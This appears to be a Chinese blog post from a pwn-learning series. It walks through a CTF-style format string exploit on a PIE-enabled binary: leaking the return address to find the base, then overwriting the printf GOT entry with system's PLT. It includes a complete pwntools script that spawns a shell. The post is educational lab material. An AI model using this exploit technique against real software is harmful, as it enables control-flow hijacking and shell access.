Pwn学习总结(10):PIE echo2


实验平台:

x86_64, Ubuntu 18.04.5 LTS, Kernel 4.15.0-156-generic
glibc 2.27-3ubuntu1.4, libc6-i386-2.27-3ubuntu1.4

实验Binary及答案:

https://github.com/bjrjk/pwn-learning/tree/main/PIE/echo2

首先来看ELF的安全性:

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

ELF是64位的了,GOT表可写,无Canary。
这个程序的PIE开启了,也就是说,程序本身的基址是不固定的,因此想要写数据到指定地址,必须先获得程序的基址。

本题是echo[1]的接续,本身利用的还是格式化字符串漏洞。我们最主要要做的就是泄漏程序的基址。那么这个工作应该如何去做呢?

我们首先来重新看一下echo2的反编译的代码:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  echo();
}
void __noreturn echo()
{
  char s[264]; // [rsp+0h] [rbp-110h] BYREF
  unsigned __int64 v1; // [rsp+108h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  do
  {
    fgets(s, 256, stdin);
    printf(s);
  }
  while ( strcmp(s, "exit\n") );
  system("echo Goodbye");
  exit(0);
}

与[1]中的代码进行比较可以发现,echo2专门将echo函数独立了出来,并在main中调用。

这样对于攻击者来说是个利好。因为在main中调用echo时,call指令会将main中echo函数调用之后的汇编地址压栈。我们在调试时,可以通过格式化字符串漏洞判断出该汇编参数是printf的第几个参数,从而将其泄漏出来,再减去该汇编的偏移,即可得到程序运行时的基址。

之后我们还按照[1]中的思路进行,改printf的got地址为system的plt地址,并getshell。

下面我们来看,到底怎么查找返回地址在printf中的参数位置:

我们在程序中输入大量%p的重复,以让printf给我们泄漏尽可能多的参数内容:

%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p 

在我本机上,泄漏的内容如下:

我们转到IDA,去看echo函数调用完毕之后的指令地址。

发现对应的地址为0xa03,又因为Linux的ASLR是不会随机化低12位地址的,因此我们可以在泄漏的数据中查找哪个指针以0xa03结尾,那么对应的第几个就是它的返回地址。

光用0xa03去找可能有点费劲,我们可以用另外一个办法。首先用htop等进程管理工具查找echo2的pid号,在不关闭原程序的情况下,利用如下命令查看进程的内存地址映射表:
在本例中,我echo2进程的pid号为6655

[email protected]:~/pwn-learning/PIE/echo2$ cat /proc/6655/maps
55c35f6f6000-55c35f6f7000 r-xp 00000000 08:01 1316734                    /home/jackren/pwn-learning/PIE/echo2/echo2
55c35f8f6000-55c35f8f7000 r--p 00000000 08:01 1316734                    /home/jackren/pwn-learning/PIE/echo2/echo2
55c35f8f7000-55c35f8f8000 rw-p 00001000 08:01 1316734                    /home/jackren/pwn-learning/PIE/echo2/echo2
7f968d5e2000-7f968d7c9000 r-xp 00000000 08:01 1179741                    /lib/x86_64-linux-gnu/libc-2.27.so
7f968d7c9000-7f968d9c9000 ---p 001e7000 08:01 1179741                    /lib/x86_64-linux-gnu/libc-2.27.so
7f968d9c9000-7f968d9cd000 r--p 001e7000 08:01 1179741                    /lib/x86_64-linux-gnu/libc-2.27.so
7f968d9cd000-7f968d9cf000 rw-p 001eb000 08:01 1179741                    /lib/x86_64-linux-gnu/libc-2.27.so
7f968d9cf000-7f968d9d3000 rw-p 00000000 00:00 0 
7f968d9d3000-7f968d9fc000 r-xp 00000000 08:01 1179737                    /lib/x86_64-linux-gnu/ld-2.27.so
7f968dbe5000-7f968dbe7000 rw-p 00000000 00:00 0 
7f968dbfc000-7f968dbfd000 r--p 00029000 08:01 1179737                    /lib/x86_64-linux-gnu/ld-2.27.so
7f968dbfd000-7f968dbfe000 rw-p 0002a000 08:01 1179737                    /lib/x86_64-linux-gnu/ld-2.27.so
7f968dbfe000-7f968dbff000 rw-p 00000000 00:00 0 
7ffe66e52000-7ffe66e73000 rw-p 00000000 00:00 0                          [stack]
7ffe66f77000-7ffe66f7a000 r--p 00000000 00:00 0                          [vvar]
7ffe66f7a000-7ffe66f7c000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]

可以发现,程序中主进程以0x55c35f6f6000为基址运行,我们可以在泄漏的数据中查找既满足以0xa03结尾,又以0x55c35f开头的地址。
经过一番头晕眼花的查找,可以发现这个参数是第41个,我们利用%41$p验证一下。

%41$p       
0x55c35f6f6a03

符合上述的要求,我们只需要在Exp中把它泄漏出来,减去0xa03就可以作为程序基址,加到printf_got和system_plt上去了。

因此,答案answer.py如下:

#!/usr/bin/env python2
from pwn import *
from LibcSearcher import *
from struct import pack
import os, base64, math
context(arch = "amd64",os = "linux", log_level = "debug")

p = process('./echo2')
elf = ELF('./echo2')

query_payload = "%41$lld"
p.sendline(query_payload)
echo_ret_addr = int(p.recvuntil("\n"))
program_base = echo_ret_addr - 0xa03

printf_got = elf.got['printf'] + program_base
system_plt = elf.plt['system'] + program_base

payload = fmtstr_payload(6, {printf_got: system_plt})

p.sendline(payload)
p.sendline("/bin/sh")
p.interactive()

getshell成功:

参考资料:
[1] https://renjikai.com/pwn-learning-summary-9/

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注